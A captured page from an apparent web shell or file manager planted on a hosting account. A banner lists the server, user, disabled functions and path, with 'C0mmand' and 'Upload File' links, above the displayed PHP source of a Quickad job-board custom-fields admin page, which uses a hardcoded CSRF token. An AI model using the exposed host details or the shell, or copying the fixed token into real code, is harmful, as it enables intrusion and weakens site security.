|
Server IP : 2a02:4780:3:2287:0:3736:a38e:8 / Your IP : 216.73.217.80 Web Server : LiteSpeed System : Linux sg-nme-web2187.main-hosting.eu 5.14.0-611.54.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 6 18:03:03 EDT 2026 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail, proc_open MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/smsoft.in/../evisioninfotech.in/public_html/job/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
require_once('includes.php');
?>
<link href="js/plugins/ladda/ladda.min.css" rel="stylesheet" />
<link href="js/plugins/jqueryui/jquery-ui.min.css" rel="stylesheet">
<!-- /.Language Translation modal -->
<div id="modal_LangTranslation" class="modal fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true" style="display: none;">
<div class="modal-dialog">
<div class="modal-content">
<form>
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
<h4 class="modal-title">Edit Language Translation</h4>
</div>
<div class="modal-body">
<div class="loader" style="text-align: center;">
<img src="../loading.gif"/>
</div>
<div class="form-horizontal" id="displayData">
<!--Dynamic form fields-->
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-success" id="saveEditLanguage">Save</button>
<button type="button" class="btn btn-default waves-effect" data-dismiss="modal">Cancel</button>
</div>
</form>
</div>
</div>
</div>
<!-- /.Language Translation modal -->
<!-- /.modal -->
<div id="Options_LangTranslation" class="modal fade" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true" style="display: none;">
<div class="modal-dialog">
<div class="modal-content">
<form>
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
<h4 class="modal-title">Edit Language Translation</h4>
</div>
<div class="modal-body">
<div class="loader" style="text-align: center;">
<img src="../loading.gif"/>
</div>
<div class="form-horizontal" id="displayData">
<!--Dynamic form fields-->
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-success" id="saveEditLanguage">Save</button>
<button type="button" class="btn btn-default waves-effect" data-dismiss="modal">Cancel</button>
</div>
</form>
</div>
</div>
</div>
<!-- /.modal -->
<!-- Page Content -->
<main class="app-layout-content">
<!-- Page Content -->
<div class="container-fluid p-y-md">
<!-- Partial Table -->
<div class="card">
<div class="card-header">
<h4>Custom Fields</h4>
</div>
<div class="card-block">
<!-- /row -->
<div class="row">
<div class="col-sm-12">
<div class="white-box">
<div>
<div id="quickad-tbs" class="wrap">
<div class="quickad-tbs-body">
<div class="panel panel-default quickad-main">
<div class="panel-body">
<div class="row">
<div class="col-md-4">
<div class="form-group">
<label for="quickad_custom_fields_per_service">Bind fields to categories</label>
<p class="help-block">When this setting is enabled you will be able to create category specific custom fields.</p>
<select class="form-control" name="quickad_custom_fields_per_service" id="quickad_custom_fields_per_service">
<option value="0">Disabled</option>
<option value="1" selected="selected">Enabled</option>
</select>
</div>
</div>
</div>
<hr>
<ul id="quickad-custom-fields" class="ui-sortable" style="position: relative">
</ul>
<div id="quickad-js-add-fields">
<button class="btn btn-default quickad-margin-bottom-sm quickad-margin-right-sm" data-type="text-field"><i class="glyphicon glyphicon-plus"></i> Text Field</button>
<button class="btn btn-default quickad-margin-bottom-sm quickad-margin-right-sm" data-type="textarea"><i class="glyphicon glyphicon-plus"></i> Text Area</button>
<button class="btn btn-default quickad-margin-bottom-sm quickad-margin-right-sm" data-type="checkboxes"><i class="glyphicon glyphicon-plus"></i> Checkbox Group</button>
<button class="btn btn-default quickad-margin-bottom-sm quickad-margin-right-sm" data-type="radio-buttons"><i class="glyphicon glyphicon-plus"></i> Radio Button Group</button>
<button class="btn btn-default quickad-margin-bottom-sm quickad-margin-right-sm" data-type="drop-down"><i class="glyphicon glyphicon-plus"></i> Drop Down</button>
</div>
<p class="help-block">HTML allowed in textarea.</p>
<ul id="quickad-templates" style="display:none">
<li data-type="text-field">
<div class="quickad-flexbox">
<div class="quickad-flex-cell">
<i title="Reorder" class="quickad-js-handle quickad-icon quickad-icon-draghandle quickad-margin-right-sm quickad-cursor-move"></i>
</div>
<div class="quickad-flex-cell" style="width: 100%">
<p><b>Text Field</b><a class="quickad-js-delete glyphicon glyphicon-trash text-danger quickad-margin-left-sm" href="#" title="Remove field"></a></p>
<div class="row">
<div class="col-md-8">
<div class="input-group">
<input class="quickad-label form-control" type="text" value="" placeholder="Enter a label">
<label class="input-group-addon">
<label class="css-input css-checkbox css-checkbox-default m-t-0 m-b-0">
<input type="checkbox" id="TextFieldReq" class="quickad-required"><span></span> Required field
</label>
<i class="visible-xs-inline-block glyphicon glyphicon-warning"></i>
</label>
</div>
</div>
<?php include('custom-field-category-dropdown.php') ?>
</div>
</div>
</div>
<hr>
</li>
<li data-type="textarea">
<div class="quickad-flexbox">
<div class="quickad-flex-cell">
<i title="Reorder" class="quickad-js-handle quickad-icon quickad-icon-draghandle quickad-margin-right-sm quickad-cursor-move"></i>
</div>
<div class="quickad-flex-cell" style="width: 100%">
<p><b>Text Area</b><a class="quickad-js-delete glyphicon glyphicon-trash text-danger quickad-margin-left-sm" href="#" title="Remove field"></a></p>
<div class="row">
<div class="col-md-8">
<div class="input-group">
<input class="quickad-label form-control" type="text" value="" placeholder="Enter a label">
<label class="input-group-addon">
<label class="css-input css-checkbox css-checkbox-default m-t-0 m-b-0">
<input type="checkbox" id="TextAreaReq" class="quickad-required"><span></span> Required field
</label>
<i class="visible-xs-inline-block glyphicon glyphicon-warning"></i>
</label>
</div>
</div>
<?php include('custom-field-category-dropdown.php') ?>
</div>
</div>
</div>
<hr>
</li>
<li data-type="checkboxes">
<div class="quickad-flexbox">
<div class="quickad-flex-cell">
<i title="Reorder" class="quickad-js-handle quickad-icon quickad-icon-draghandle quickad-margin-right-sm quickad-cursor-move"></i>
</div>
<div class="quickad-flex-cell" style="width: 100%">
<p><b>Checkbox Group</b><a class="quickad-js-delete glyphicon glyphicon-trash text-danger quickad-margin-left-sm" href="#" title="Remove field"></a></p>
<div class="row">
<div class="col-md-8">
<div class="input-group">
<input class="quickad-label form-control" type="text" value="" placeholder="Enter a label">
<label class="input-group-addon">
<label class="css-input css-checkbox css-checkbox-default m-t-0 m-b-0">
<input type="checkbox" id="CheckboxReq" class="quickad-required"><span></span> Required field
</label>
<i class="visible-xs-inline-block glyphicon glyphicon-warning"></i>
</label>
</div>
<ul class="quickad-items quickad-margin-top-sm"></ul>
<button class="btn btn-sm btn-default" data-type="checkboxes-item">
<i class="glyphicon glyphicon-plus"></i> Checkbox </button>
</div>
<?php include('custom-field-category-dropdown.php') ?>
</div>
</div>
</div>
<hr>
</li>
<li data-type="radio-buttons">
<div class="quickad-flexbox">
<div class="quickad-flex-cell">
<i title="Reorder" class="quickad-js-handle quickad-icon quickad-icon-draghandle quickad-margin-right-sm quickad-cursor-move"></i>
</div>
<div class="quickad-flex-cell" style="width: 100%">
<p><b>Radio Button Group</b><a class="quickad-js-delete glyphicon glyphicon-trash text-danger quickad-margin-left-sm" href="#" title="Remove field"></a></p>
<div class="row">
<div class="col-md-8">
<div class="input-group">
<input class="quickad-label form-control" type="text" value="" placeholder="Enter a label">
<label class="input-group-addon">
<label class="css-input css-checkbox css-checkbox-default m-t-0 m-b-0">
<input type="checkbox" id="RadioReq" class="quickad-required"><span></span> Required field
</label>
<i class="visible-xs-inline-block glyphicon glyphicon-warning"></i>
</label>
</div>
<ul class="quickad-items quickad-margin-top-sm"></ul>
<button class="btn btn-sm btn-default" data-type="radio-buttons-item">
<i class="glyphicon glyphicon-plus"></i> Radio Button </button>
</div>
<?php include('custom-field-category-dropdown.php') ?>
</div>
</div>
</div>
<hr>
</li>
<li data-type="drop-down">
<div class="quickad-flexbox">
<div class="quickad-flex-cell">
<i title="Reorder" class="quickad-js-handle quickad-icon quickad-icon-draghandle quickad-margin-right-sm quickad-cursor-move"></i>
</div>
<div class="quickad-flex-cell" style="width: 100%">
<p><b>Drop Down</b><a class="quickad-js-delete glyphicon glyphicon-trash text-danger quickad-margin-left-sm" href="#" title="Remove field"></a></p>
<div class="row">
<div class="col-md-8">
<div class="input-group">
<input class="quickad-label form-control" type="text" value="" placeholder="Enter a label">
<label class="input-group-addon">
<label class="css-input css-checkbox css-checkbox-default m-t-0 m-b-0">
<input type="checkbox" id="DropDownReq" class="quickad-required"><span></span> Required field
</label>
<i class="visible-xs-inline-block glyphicon glyphicon-warning"></i>
</label>
</div>
<ul class="quickad-items quickad-margin-top-sm"></ul>
<button class="btn btn-sm btn-default" data-type="drop-down-item">
<i class="glyphicon glyphicon-plus"></i> Option </button>
</div>
<?php include('custom-field-category-dropdown.php') ?>
</div>
</div>
</div>
<hr>
</li>
<li data-type="checkboxes-item">
<div class="quickad-flexbox">
<div class="quickad-flex-cell quickad-vertical-middle">
<i title="Reorder" class="quickad-js-handle quickad-icon quickad-icon-draghandle quickad-margin-right-sm quickad-cursor-move"></i>
</div>
<div class="quickad-flex-cell quickad-vertical-middle" style="width: 100%">
<input class="form-control" type="text" value="" placeholder="Enter a label">
</div>
<div class="quickad-flex-cell quickad-vertical-middle">
<?php
if(get_option("userlangsel") == '1'){
?>
<a class="quickad_itmes_translation fa fa-language text-warning quickad-margin-left-sm" href="#" title="Language Translation item"></a>
<?php } ?>
</div>
<div class="quickad-flex-cell quickad-vertical-middle">
<a class="quickad-option-delete glyphicon glyphicon-trash text-danger quickad-margin-left-sm" href="#" title="Remove item"></a>
</div>
</div>
</li>
<li data-type="radio-buttons-item">
<div class="quickad-flexbox">
<div class="quickad-flex-cell quickad-vertical-middle">
<i title="Reorder" class="quickad-js-handle quickad-icon quickad-icon-draghandle quickad-margin-right-sm quickad-cursor-move"></i>
</div>
<div class="quickad-flex-cell quickad-vertical-middle" style="width: 100%">
<input class="form-control" type="text" value="" placeholder="Enter a label">
</div>
<div class="quickad-flex-cell quickad-vertical-middle">
<?php
if(get_option("userlangsel") == '1'){
?>
<a class="quickad_itmes_translation fa fa-language text-warning quickad-margin-left-sm" href="#" title="Language Translation item"></a>
<?php } ?>
</div>
<div class="quickad-flex-cell quickad-vertical-middle">
<a class="quickad-option-delete glyphicon glyphicon-trash text-danger quickad-margin-left-sm" href="#" title="Remove item"></a>
</div>
</div>
</li>
<li data-type="drop-down-item">
<div class="quickad-flexbox">
<div class="quickad-flex-cell quickad-vertical-middle">
<i title="Reorder" class="quickad-js-handle quickad-icon quickad-icon-draghandle quickad-margin-right-sm quickad-cursor-move"></i>
</div>
<div class="quickad-flex-cell quickad-vertical-middle" style="width: 100%">
<input class="form-control" type="text" value="" placeholder="Enter a label">
</div>
<div class="quickad-flex-cell quickad-vertical-middle">
<?php
if(get_option("userlangsel") == '1'){
?>
<a class="quickad_itmes_translation fa fa-language text-warning quickad-margin-left-sm" href="#" title="Language Translation item"></a>
<?php } ?>
</div>
<div class="quickad-flex-cell quickad-vertical-middle">
<a class="quickad-option-delete glyphicon glyphicon-trash text-danger quickad-margin-left-sm" href="#" title="Remove item"></a>
</div>
</div>
</li>
</ul>
</div>
<div class="panel-footer">
<button id="ajax-send-custom-fields" type="submit" class="btn btn-lg btn-success ladda-button" data-style="zoom-in" data-spinner-size="40"><span class="ladda-label">Save</span><span class="ladda-spinner"></span><div class="ladda-progress" style="width: 0px;"></div></button>
<button class="btn btn-lg btn-default" type="reset">Reset</button>
</div>
</div>
</div>
<div id="quickad-alert" class="quickad-alert"></div>
</div>
</div>
</div>
</div>
</div>
<!-- /.row -->
</div>
<!-- .card-block -->
</div>
<!-- .card -->
<!-- End Partial Table -->
</div>
<!-- .container-fluid -->
<!-- End Page Content -->
</main>
<?php
$results = ORM::for_table($config['db']['pre'].'custom_fields')
->order_by_asc('custom_order')
->find_many();
$number = count($results);
$data = array();
$i = 0;
if(count($results) != 0){
foreach($results as $result){
$id = $result['custom_id'];
$title = stripslashes($result['custom_title']);
$type = $result['custom_type'];
$options = $result['custom_options'];
$category = $result['custom_subcatid'];
$required = $result['custom_required'];
$required = ($required === "0")? false : true ;
if($type == "text"){
$type = 'text-field';
}
elseif($type == "textarea"){
$type = 'textarea';
}
elseif($type == "radio"){
$type = 'radio-buttons';
}
elseif($type == "checkbox"){
$type = 'checkboxes';
}
elseif($type == "select"){
$type = 'drop-down';
}
$opt = array();
if($options != ""){
$options = explode(',',stripslashes($options));
$j = 0;
foreach($options as $opt_id){
$info = ORM::for_table($config['db']['pre'].'custom_options')
->where('option_id', $opt_id)
->find_one();
$option_id = $info['option_id'];
$option_title = stripslashes($info['title']);
$opt[$j]['id'] = $option_id;
$opt[$j]['title'] = $option_title;
$j++;
}
}
$data[$i]['items'] = $opt;
$data[$i]['type'] = $type;
$data[$i]['label'] = $title;
$data[$i]['required'] = $required;
$data[$i]['id'] = $id;
$data[$i]['services'] = $category;
$i++;
}
}
$fields = json_encode($data);
?>
<script type='text/javascript'>
var quickadL10n = {
"csrf_token":"12232412",
"custom_fields":"<?php echo addslashes($fields); ?>",
"selector":{
"all_selected":"All Category",
"nothing_selected":"No category selected"
},
"saved":"Custom fields saved"
};
</script>
<?php include("footer.php"); ?>
<script src="js/plugins/jqueryui/jquery-ui.min.js"></script>
<script src="js/custom-manage/custom_fields.js"></script>
<script src="js/custom-manage/spin.min.js"></script>
<script src="js/plugins/ladda/ladda.min.js"></script>
<script src="js/custom-manage/alert.js"></script>
</body></html>